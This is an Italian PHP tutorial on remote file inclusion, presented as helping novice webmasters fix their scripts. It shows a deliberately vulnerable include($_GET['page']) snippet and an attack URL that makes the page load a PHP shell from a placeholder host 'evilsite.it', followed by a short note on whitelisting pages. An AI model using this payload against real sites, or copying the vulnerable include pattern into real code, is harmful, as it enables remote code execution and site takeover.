[teaser] In questo articolo vediamo come sfruttare e sopratutto come fixare, una vulnerabilità molto pesante: la remote file inclusion.[/teaser]

Documento scritto solo a titolo informativo, insegnamo ai giovani webmaster come fixare i loro script; non forniamo nozioni per lamer o aspiranti cracker.

Per chi conosce il php, questo tutorial sara molto facile da capire.

Le remote file inclusion, conosciute comunemente col nome di RFI, sono delle vulnerabilità di cui possono soffrire degli script in php codati (scritti) con troppa velocità e non curanza. La vulnerabilità, permette ad un eventuale attaccante, di eseguire l’inclusione di file che vogliono, in una vostra pagina web.

Ecco un esempio molto semplice di rfi su GET:
rfi.php:

<?php
include($_GET['page']);
?>

Questo semplice script, includerà il file che viene espresso nell’url con parametro “page”.

Effettivamente, i webmaster alle prime armi spesso utilizzano questo trucco per includere all’interno dei loro “template” (o meglio, pagine base) le parti di codice che cambiano effettivamente la pagina.

In questo caso, ecco come basterà fare all’attaccante:

rfi.php?page=http://evilsite.it/shell.txt 

Utilizzeranno una shell php con formato txt, perchè verrà riconosciuta dallo script buggato come un vero e proprio script in php e verrà caricato come tale (e non come file di testo).

Se al posto di “shell.txt” avessero utilizzato “shell.php”, quest’ ultima pagina sarebbe prima intepretata dal server di “evilsite.it”, e poi l’output verrebbe incluso nella pagina rfi.php.

Fixing

Se uno script soffre di questa vulnerabilità allora il vostro sito web è in grave pericolo.

Per fixare( riparare) il bug, in questo caso potremo per esempio utilizzare dei cicli if, else, ifelse per controllare che ad ogni pagina che richiediamo, corrisponda effettivamente una pagina sul nostro server.

oppure potete utilizzare la funzione switch del php (Che potete trovare a questo link)